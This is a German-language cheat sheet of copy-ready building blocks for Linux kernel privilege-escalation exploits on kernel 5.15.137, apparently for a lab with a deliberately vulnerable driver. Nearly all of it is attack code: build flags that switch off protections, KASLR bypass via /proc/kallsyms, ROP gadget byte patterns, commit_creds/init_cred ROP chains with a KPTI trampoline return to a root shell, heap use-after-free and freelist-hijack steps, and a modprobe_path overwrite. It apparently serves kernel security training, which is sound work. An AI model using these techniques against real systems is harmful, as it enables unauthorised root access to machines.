

Kernel PWN Lernzettel

Alle C-Code-Befehle und Techniken fuer den Kernel-Exploit-Bau - Linux 5.15.137 x86-64. Jede Zeile = ein Baustein zum direkten Kopieren.

1. SETUP & BUILD

Syntax	What it does	Code - use it like this
static + non-PIE	Gast ohne libc.	<code>\$(CC) -O2 -static -no-pie -o exploit exploit.c</code>
-fno-stack-protector	Canary aus.	<code>gcc -no-pie -fno-stack-protector -o vuln vuln.c</code>
-z execstack	Stack ausfuehrbar.	<code>gcc -no-pie -z execstack -z norelro -o vuln vuln.c</code>
Kernel bauen	bzImage + vmlinux.	<code>cd 01-beginner && ./build-kernel.sh</code>
Initramfs	Exploits+Treiber packen.	<code>../shared/initramfs/make-initramfs.sh</code> <code>../linux-5.15.137</code>
Booten	QEMU.	<code>../01-beginner/boot.sh [--kaslr] [--gdb]</code>
Beenden	QEMU exit.	<code>CTRL+A X</code>
insmod	Treiber laden.	<code>insmod /lib/modules/vroot.ko</code>

2. KERNEL-MITIGATIONS & BYPASS

Syntax	What it does	Code - use it like this
KASLR	_text randomisiert.	<code>base = kallsyms_lookup("_text");</code>
SMEP (CR4.20)	kein ret2usr.	<code>ROP</code> <code>notig</code>
SMAP (CR4.21)	kein User-Zugriff.	<code>copy_from_user</code> <code>OK</code>
kptr_restrict>0	kallsyms versteckt.	<code>Leak via dmesg</code>
VMAP_STACK	Stack im vmalloc+Guard.	<code>Labor: deaktiviert</code>
HARDENED_USERCOPY	copy-Ueberlauf bricht.	<code>Labor: deaktiviert</code>
SLAB_FREELIST_HARDENED	Freelist-XOR.	<code>handler-UAF</code> <code>geht</code>
oops=panic	Oops=Panic.	<code>cmdline</code> <code>oops=panic</code>

3. SYMBOLE & ADRESSEN (/proc/kallsyms)

Syntax	What it does	Code - use it like this
kallsyms_lookup(name)	Symbol lesen.	<pre>static uint64_t k(const char*n){FILE*f=fopen("/proc/kallsyms","r");char l[512],s[256],t;unsigned long long a;if(!f)return 0;while(fgets(l,512,f))if(sscanf(l,"%llx %c %25s",&a,&t,&s)==3&&!strcmp(s,n)){fclose(f);return a;}fclose(f);return 0;}</pre>
_text	KASLR-Basis.	<code>uint64_t base=k("_text");</code>
commit_creds	setzt creds.	<code>cc=k("commit_creds");</code>
init_cred	fertige Root-Creds.	<code>ic=k("init_cred");</code>
prepare_kernel_cred	neue Creds (arg=0).	<code>prep=k("prepare_kernel_cred");</code>
__x86_return_thunk	RT-Bytes filtern.	<code>rt=k("__x86_return_thunk");</code>
swapgs_restore_regs...	KPTI-Trampoline.	<code>tramp=k("swapgs_restore_regs_and_return_to_usermode");</code>
GIDX-env	ntes Match waehlen.	<code>GIDX=2 ./exploit</code>

4. USER-STATE SICHERN (Rueckkehr Ring3)

Syntax	What it does	Code - use it like this
save_state()	cs/ss/rflags/rsp sichern.	<pre>static void save_state(void){__asm__volatile("movq %%cs,%0;movq %%ss,%1;pushfq;popq %2;movq %%rsp,%3":"=r"(cs),"=r"(ss),"=r"(rfl),"=r"(rsp)::"memory");}</pre>
pt_regs Layout	iretq-Frame am Kettenende.	<code>[RIP][CS][RFLAGS][RSP][SS]</code>

5. vmlinux PARSEN (ELF)

Syntax	What it does	Code - use it like this
open+mmap	vmlinux einlesen.	<pre>int fd=open("/vmlinux",O_RDONLY);fstat(fd,&st);vm=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,fd,0);</pre>
PT_LOAD+PF_X	text_off finden.	<pre>if(ph[i].p_type==PT_LOAD&&(ph[i].p_flags&PF_X))text_off=ph[i].p_offset;</pre>
KASLR-Formel	Datei->Laufzeit-Adresse.	<code>runtime = runtime_base + (file_off - text_off);</code>

Syntax	What it does	Code - use it like this
find_bytes()	Muster im .text suchen.	for(i=text_off;i+plen<vm_size;i++) if(!memcmp(vm+i,pat,plen)) return runtime_base+(i-text_off);

6. ROP-GADGETS (Byte-Pattern, vmlinux)

Syntax	What it does	Code - use it like this
pop rdi; ret	5f c3.	pop_rdi = find_bytes(pat,2);
pop rsi; ret / rdx / rcx / rax	5e/5a/59/58 c3.	pop_rdx = find_bytes(...);
pop rbp; ret	5d c3.	--
mov rdi,rax; ret	48 89 c7 c3.	mv = find_bytes(pat,4);
mov rdi,rax; call rdx/rcx	48 89 c7 ff d2 / d1.	--
swapgs; iretq	0f 01 f8 48 cf.	--
swapgs; popfq; ret	0f 01 f8 9d c3.	--
mov cr4,rdi; ret	48 0f 22 e7 c3.	--
jmp rax / call rax	ff e0 / ff d0.	--
Return-Thunk-Problem	fast jede ret = 5B jmp->thunk; apply_returns macht c3 cc...; naive 5f c3 matcht Displacement.	-> reject Matches die e9-callsite ueberlappen
rel32_at(p)	e9-rel32 lesen.	memcpy(&rel;, vmlinux+p+1, 4);
inside_rt_callsite(p)	e9 zielt auf return_thunk?	if(runtime_base+(p+5-text_off)+rel==rthunk) bad=1;
rt_ret_after(pos)	ret nach call ist Ok.	return !inside_rt_callsite(pos);
retbleed-Check	rthunk=0 -> konservativ ALLE e9 rejecten.	if(!rthunk) bad=1;

7. ROP-KETTE (exploit.c main)

Syntax	What it does	Code - use it like this
Win-Weg A	commit_creds(&init_cred).	[pop_rdi][init_cred][cc]
Win-Weg B	prepare_kernel_cred(0)->mov rdi,rax->cc.	[pop_rdi][0][prep][mv][cc]
KPTI-Trampoline	swapgs_restore + POP_REGS.	[tramp] 14x0 ...
nach POP_REGS	User-State setzen.	[rdi][orig_ax][rip=get_shell][cs][rfl][rsp][ss]
OFFSET	bis saved RIP.	#define OFFSET 64
chain bauen	Q-Pointer auf Offset.	q=(uint64_t*)(chain+OFFSET);
call	jetzt ausfuehren.	ioctl(fd, CMD_COPY, chain);
get_shell()	/bin/sh spannen.	exec1("/bin/sh","sh",NULL);
setbuf(stdout,NULL)	Buffers.	setbuf(stdout,NULL);

8. TREIBER-IOCTL

Syntax	What it does	Code - use it like this
open	/dev/vroot oeffnen.	int fd=open("/dev/vroot",O_RDWR);
ioctl	cmd senden.	ioctl(fd, 0x1337, arg);
misc device	/dev/* mit fops.	misc_register(&dev;); .unlocked_ioctl = fn;
module_init/exit	Ein/Austritt.	module_init(x); module_exit(y);
copy_from_user	Arg sicher holen.	copy_from_user(&tmp;, arg, sizeof(tmp));

9. HEAP-UAF

Syntax	What it does	Code - use it like this
struct victim	first Feld = Handler.	struct victim { uint64_t handler; char name[128]; };
ALLOC/FREE	dangling bekommen.	ioctl(ALLOC,0); ioctl(FREE,0);
UAF-Write	Inhalt in freien Memory.	struct payload p={0}; p.handler=commit_creds; ioctl(ALLOC,&p);
USE(&init_cred)	Call-Through triggern.	ioctl(USE, init_cred);
kmalloc-Klasse	136->kmalloc-192.	sizeof==136 -> kmalloc-192
Spray & Reclaim	freien Platz belegen.	for(i=0;i<100;i++) ioctl(ALLOC,o);
Freelist-Hijack	Ziel anschreiben (HARDENED blockt).	*(uint64_t*)c = target ^ rand;
UAF-Kind	kfree ohne NULL.	g_v = kzalloc(...); kfree(g_v); // dann nutzen

10. ANDERE WIN-PFADE & DEBUGGING

Syntax	What it does	Code - use it like this
modprobe_path	Daemon ueberschreiben+Trigger.	write modprobe_path; exec unknown bin
Oops lesen	RIP/RSP deuten.	dmesg tail -25

Syntax	What it does	Code - use it like this
<code>gdb + boot.sh --gdb</code>	Stub auf :1234.	<code>gdb vmlinux; target remote :1234</code>
<code>hexdump()</code>	Memory-Debug.	<code>static void hexdump(void*p,size_t n){...}</code>
syzkaller-Deskription	Fuzzer auf /dev/vroot.	<code>ioctl\$vroot(fd, cmd const[0x1337], arg ptr[in,array[int8,512]])</code>
KASAN	exakter Bug-Report.	<code>scripts/config --enable KASAN</code>
<code>enable_syscalls</code>	schneller fuzzen.	<code>"openat\$vroot","ioctl\$vroot"</code>